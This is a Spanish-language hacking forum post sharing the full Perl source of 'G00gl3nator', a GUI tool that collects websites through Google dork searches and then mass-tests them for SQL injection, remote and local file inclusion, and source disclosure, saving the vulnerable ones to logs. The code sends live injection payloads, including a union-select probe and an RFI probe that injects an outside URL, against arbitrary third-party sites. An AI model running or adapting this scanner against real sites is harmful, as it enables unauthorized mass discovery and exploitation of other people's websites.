3. [Perl] G00gl3nator By Doddy H
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.
« anterior próximo »
Páginas: [1]   Ir Abajo

[Perl] G00gl3nator By Doddy H

  • 0 Respuestas
  • 1216 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil

[Perl] G00gl3nator By Doddy H

« en: Julio 03, 2011, 09:45:53 pm »
Bueno ,este es un scanner en su version grafica ,este programa puede scanear

  • SQLI
  • RFI
  • LFI
  • Full Source Discloure


Tambien pueden buscar en google string en google con , los resultados
son guardados en una carpeta que el programa instalar al ejecutarse

Código: Perl
  1. #!usr/bin/perl
  2. #Googlenator (C) Doddy Hackman 2011
  3.  
  4. use Tk;
  5. use Tk::ROText;
  6. use Tk::FileSelect;
  7. use URI::Split qw(uri_split);
  8. use Cwd;
  9. use WWW::Mechanize;
  10.  
  11. if ($^O eq 'MSWin32') {
  12. use Win32::Console;
  13. Win32::Console::Free();
  14. }
  15.  
  16. my $nave = WWW::Mechanize->new(autocheck => 0);
  17. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12");
  18.  
  19. installer();
  20.  
  21. my $new = MainWindow->new(-background=>"black");
  22.  
  23. $new->title("Googlenator (C) Doddy Hackman 2011");
  24. $new->geometry("780x530");
  25. $new->resizable(0,0);
  26.  
  27. $d = $new->Frame(-relief=>"sunken",-bd=>1,-background=>"black",-foreground=>"cyan");
  28. my $scanx = $d->Menubutton(-text=>"Scan",-underline=>1,-background=>"black",-foreground=>"cyan",-activeforeground=>"cyan")->pack(-side=>"left");
  29. my $logsx = $d->Menubutton(-text=>"Logs",-underline=>1,-background=>"black",-foreground=>"cyan",-activeforeground=>"cyan")->pack(-side=>"left");
  30. $d->pack(-side=>"top",-fill=>"x");
  31.  
  32. $scanx->command(-label=>"SQL",-background=>"black",-foreground=>"cyan",-command=>\&loadsql);
  33. $scanx->command(-label=>"RFI",-background=>"black",-foreground=>"cyan",-command=>\&loadrfi);
  34. $scanx->command(-label=>"LFI",-background=>"black",-foreground=>"cyan",-command=>\&loadlfi);
  35. $scanx->command(-label=>"FSD",-background=>"black",-foreground=>"cyan",-command=>\&loadfsd);
  36.  
  37. $logsx->command(-label=>"GoogleSearchs",-background=>"black",-foreground=>"cyan",-command=>\&loadgoogle);
  38. $logsx->command(-label=>"SQL",-background=>"black",-foreground=>"cyan",-command=>\&loadfilesql);
  39. $logsx->command(-label=>"RFI",-background=>"black",-foreground=>"cyan",-command=>\&loadfilerfi);
  40. $logsx->command(-label=>"LFI",-background=>"black",-foreground=>"cyan",-command=>\&loadfilelfi);
  41. $logsx->command(-label=>"FSD",-background=>"black",-foreground=>"cyan",-command=>\&loadfilefsd);
  42.  
  43. my $box = $new->ROText(-background=>"black",-foreground=>"cyan",-width=> 104,-height=> 20)->place(-x =>20,-y=>60);
  44. head();
  45.  
  46. $new->Label(-background=>"black",-foreground=>"cyan",-text=>"Google : ",-font=>"Impact")->place(-y=>"380",-x=>"20");
  47.  
  48. my $google = $new->Entry(-background=>"black",-foreground=>"cyan",-width=>"30",-text=>"www.google.com.ar")->place(-x=>"80",-y=>"385");
  49.  
  50. $new->Label(-background=>"black",-foreground=>"cyan",-text=>"Pages : ",-font=>"Impact")->place(-y=>"380",-x=>"300");
  51.  
  52. my $pages = $new->Entry(-background=>"black",-foreground=>"cyan",-width=>"5",-text=>"30")->place(-y=>"385",-x=>"354");
  53.  
  54. $new->Label(-background=>"black",-foreground=>"cyan",-font=>"Impact",-text=>"Dorks : ")->place(-y=>"380",-x=>"450");
  55.  
  56. my $dorks = $new->Entry(-background=>"black",-foreground=>"cyan",-width=>"40",-text=>"index.php+id")->place(-y=>"385",-x=>"505");
  57.  
  58. $new->Button(-text=>"Search in Google",-background=>"black",-foreground=>"cyan",-activeforeground=>"cyan",-width=>"130",-command=>\&googler)->place(-y=>"450");
  59. $new->Button(-text=>"About",-background=>"black",-foreground=>"cyan",-activeforeground=>"cyan",-width=>"130",-command=>\&about)->place(-y=>"474");
  60. $new->Button(-text=>"Exit",-background=>"black",-foreground=>"cyan",-activeforeground=>"cyan",-width=>"130",-command=>\&exitx)->place(-y=>"498");
  61.        
  62. MainLoop;
  63.  
  64. head();
  65.  
  66. sub googler {
  67.  
  68. my $google = $google->get;
  69. my $pages = $pages->get;
  70. my $dorks = $dorks->get;
  71.  
  72. head();
  73.  
  74. $box->insert("end","\t\t[+] Searching pages with string $dorks\n\n");
  75.  
  76. my @webas = google($google,$dorks,$pages);
  77.  
  78. $box->insert("end","\t\t[+] Cleaning\n\n");
  79. $box->insert("end","\t\t[+] Webs Found ".int(@webas)."\n\n");
  80.  
  81. for(@webas) {
  82. $new->update();
  83. $box->insert("end","\t\t[Link] : ".$_."\n");
  84. savefile($dorks.".txt",$_);
  85. }
  86.  
  87. $box->insert("end","\n\t\t[+] All save in logs/search/".$dorks."\n");
  88. $box->insert("end","\t\t[+] Finished\n\n");
  89.        
  90. }
  91.  
  92. sub loadsql {
  93.  
  94. $browse = $new->FileSelect(-directory => "/");
  95. my $filea = $browse->Show;
  96.  
  97. head();
  98. $box->insert("end","\t\t[+] File : $filea\n");
  99.  
  100. open (FILE,$filea);
  101. @words = <FILE>;
  102. close FILE;
  103.  
  104. chomp @words;
  105.  
  106. $box->insert("end","\t\t[+] Webs Found : ".int(@words)."\n\n");
  107.  
  108. for my $page(@words) {
  109. my $page = clean($page);
  110. $new->update();
  111. scansql($page);
  112. }
  113.  
  114. sub scansql {
  115. my ($pass1,$pass2) = ("+","--");
  116. my $page = shift;
  117. $code1 = toma($page."-1".$pass1."union".$pass1."select".$pass1."666".$pass2);
  118. if ($code1=~/The used SELECT statements have a different number of columns/ig) {
  119. $box->insert("end","\t\t[+] SQLI : $page\n");
  120. savefilevul("sql-logs.txt",$page);
  121. }}}
  122.  
  123. sub loadrfi {
  124.  
  125. $browse = $new->FileSelect(-directory => "/");
  126. my $filea = $browse->Show;
  127.  
  128. head();
  129. $box->insert("end","\t\t[+] File : $filea\n");
  130.  
  131. open (FILE,$filea);
  132. @words = <FILE>;
  133. close FILE;
  134.  
  135. chomp @words;
  136.  
  137. $box->insert("end","\t\t[+] Webs Found : ".int(@words)."\n\n");
  138.  
  139. for my $page(@words) {
  140. my $page = clean($page);
  141. $new->update();
  142. scanrfi($page);
  143. }
  144.  
  145. sub scanrfi {
  146. my $page = shift;
  147. $code1 = toma($page."http:/www.supertangas.com/");
  148. if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD
  149. $box->insert("end","\t\t[+] RFI : $page\n");
  150. savefilevul("rfi-logs.txt",$page);
  151. }}}
  152.  
  153. sub loadlfi {
  154.  
  155. $browse = $new->FileSelect(-directory => "/");
  156. my $filea = $browse->Show;
  157.  
  158. head();
  159. $box->insert("end","\t\t[+] File : $filea\n");
  160.  
  161. open (FILE,$filea);
  162. @words = <FILE>;
  163. close FILE;
  164.  
  165. chomp @words;
  166.  
  167. $box->insert("end","\t\t[+] Webs Found : ".int(@words)."\n\n");
  168.  
  169. for my $page(@words) {
  170. my $page = clean($page);
  171. $new->update();
  172. scanlfi($page);
  173. }
  174.  
  175.  
  176. sub scanlfi {
  177. my $page = shift;
  178. $code1 = toma($page."'");
  179. if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) {
  180. $box->insert("end","\t\t[+] LFI : $page\n");
  181. savefilevul("lfi-logs.txt",$page);
  182. }}}
  183.  
  184. sub loadfsd {
  185.  
  186. $browse = $new->FileSelect(-directory => "/");
  187. my $filea = $browse->Show;
  188.  
  189. head();
  190. $box->insert("end","\t\t[+] File : $filea\n");
  191.  
  192. open (FILE,$filea);
  193. @words = <FILE>;
  194. close FILE;
  195.  
  196. chomp @words;
  197.  
  198. $box->insert("end","\t\t[+] Webs Found : ".int(@words)."\n\n");
  199.  
  200. for my $page(@words) {
  201. my $page = clean($page);
  202. $new->update();
  203. scanfsd($page);
  204. }
  205.  
  206. sub scanfsd {
  207. my $page = shift;
  208. my ($scheme, $auth, $path, $query, $frag)  = uri_split($page);
  209. if ($path=~/\/(.*)$/) {
  210. my $me = $1;
  211. $code1 = toma($page.$me);
  212. if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) {
  213. $box->insert("end","\t\t[+] Full Source Discloure : $page\n");
  214. savefilevul("fsd-logs.txt",$page);
  215. }}}}
  216.  
  217. sub head {
  218.  
  219. $box->delete("0.0","end");
  220.  
  221. $box->insert("end","
  222.           @@@@     @@@      @@@      @@@@   @@   @@@@ @@   @@    @@   @@@@@@  @@@    @@@@  
  223.          @@@@@    @@@@@    @@@@@    @@@@@   @@   @@   @@@  @@    @@     @@   @@@@@   @@ @@
  224.         @@@      @@   @@  @@   @@  @@@      @@   @@   @@@@ @@   @@@@    @@  @@   @@  @@ @@
  225.         @@  @@@  @@   @@  @@   @@  @@  @@@  @@   @@@@ @@ @ @@   @  @    @@  @@   @@  @@@@  
  226.         @@@  @@  @@   @@  @@   @@  @@@  @@  @@   @@   @@ @@@@  @@@@@@   @@  @@   @@  @@@@  
  227.          @@@@@    @@@@@    @@@@@    @@@@@   @@   @@   @@  @@@  @@  @@   @@   @@@@@   @@ @@
  228.           @@@      @@@      @@@      @@@    @@@@ @@@@ @@   @@  @@  @@   @@    @@@    @@  @@
  229.  
  230.  
  231.  
  232.        
  233. ");
  234. }
  235.  
  236. sub about {
  237. $about = MainWindow->new(-background=>"black");
  238. $about->title("Googlenator v0.3");
  239. $about->geometry("300x110");
  240. $about->resizable(0,0);
  241. $about->Label(-background=>"black",-foreground=>"cyan")->pack();
  242. $about->Label(-text=>"Contact : lepuke[at]hotmail[com]",-font=>"Impact",-background=>"black",-foreground=>"cyan")->pack();
  243. $about->Label(-text=>"Web : doddyhackman.webcindario.com",-font=>"Impact",-background=>"black",-foreground=>"cyan")->pack();
  244. $about->Label(-text=>"Blog : doddy-hackman.blogspot.com",-font=>"Impact",-background=>"black",-foreground=>"cyan")->pack();
  245. }
  246.  
  247. sub exitx {
  248. exit(1);
  249. }
  250.  
  251. sub savefilevul {
  252. open (SAVE,">>logs/vulz/".$_[0]);
  253. print SAVE $_[1]."\n";
  254. close SAVE;
  255. }
  256.  
  257. sub toma {
  258. return $nave->get($_[0])->content;
  259. }
  260.  
  261. sub dame_link {
  262. return $nave->find_all_links();
  263. }
  264.  
  265. sub clean {
  266. if ($_[0] =~/\=/) {
  267. my @sacar= split("=",$_[0]);
  268. return(@sacar[0]."=");
  269. }
  270. }
  271.  
  272. sub savefile {
  273. open (SAVE,">>logs/search/".$_[0]);
  274. print SAVE $_[1]."\n";
  275. close SAVE;
  276. }
  277.  
  278. sub google {
  279.  
  280. for ($pages=10;$pages<=$_[2];$pages=$pages+10) {
  281. $new->update();
  282. toma("http://$_[0]/search?hl=&q=$_[1]&start=$pages");
  283. @links = dame_link();
  284. for my $l(@links) {
  285. if ($l->url() =~/webcache.googleusercontent.com/) {
  286. push(@url,$l->url());
  287. }
  288. }
  289. }
  290.  
  291. for(@url) {
  292. if ($_ =~/cache:(.*?):(.*?)\+/) {
  293. push(@founds,$2);
  294. }
  295. }
  296.  
  297. my @founds = repes(@founds);
  298.  
  299. return @founds;
  300. }
  301.  
  302.  
  303. sub installer {
  304.  
  305. unless (-d "logs/") {
  306. mkdir("logs/","777");
  307. mkdir("logs/search","777");
  308. mkdir("logs/vulz","777");
  309. }
  310. }
  311.  
  312. sub repes {
  313. foreach my $palabra ( @_ ) {
  314. next if $repety{ $palabra }++;
  315. push @revisado,$palabra;
  316. }
  317. return @revisado;
  318. }
  319.  
  320. sub loadgoogle {
  321. system("start ".getcwd()."/logs/search/");
  322. }
  323.  
  324. sub loadfilesql {
  325. system("start logs/vulz/sql-logs.txt");
  326. }
  327.  
  328.  
  329. sub loadfilelfi {
  330. system("start logs/vulz/lfi-logs.txt");
  331. }
  332.  
  333.  
  334. sub loadfilerfi {
  335. system("start logs/vulz/rfi-logs.txt");
  336. }
  337.  
  338.  
  339. sub loadfilefsd {
  340. system("start logs/vulz/fsd-logs.txt");
  341. }
  342.  
  343. # ¿ The End ?
  344.  
« Última modificación: Marzo 14, 2015, 10:03:04 am por Expermicid »
En línea
Páginas: [1]   Ir Arriba
« anterior próximo »
 

¿Te gustó el post? COMPARTILO!



Tutorial perl desde cero By: Black Poision & Painboy

Iniciado por ProcessKill

 Respuestas: 2
Vistas: 3460 		Último mensaje Septiembre 02, 2011, 09:43:36 pm
por blozzter
[Perl] Verificando si es root para correr un script

Iniciado por c1st

 Respuestas: 1
Vistas: 1716 		Último mensaje Octubre 07, 2012, 06:01:39 pm
por ANTRAX
DoSing IP 1.0 - [Creado por SkillmaX] + Source [PERL]

Iniciado por SkillmaX

 Respuestas: 0
Vistas: 1558 		Último mensaje Julio 04, 2010, 10:14:31 am
por SkillmaX
[Perl] Iframe DDos Attack Tool

Iniciado por BigBear

 Respuestas: 0
Vistas: 1423 		Último mensaje Julio 03, 2011, 10:06:45 pm
por BigBear
[Perl] Half Life Servers List 0.1

Iniciado por BigBear

 Respuestas: 0
Vistas: 1289 		Último mensaje Noviembre 12, 2012, 07:31:50 pm
por BigBear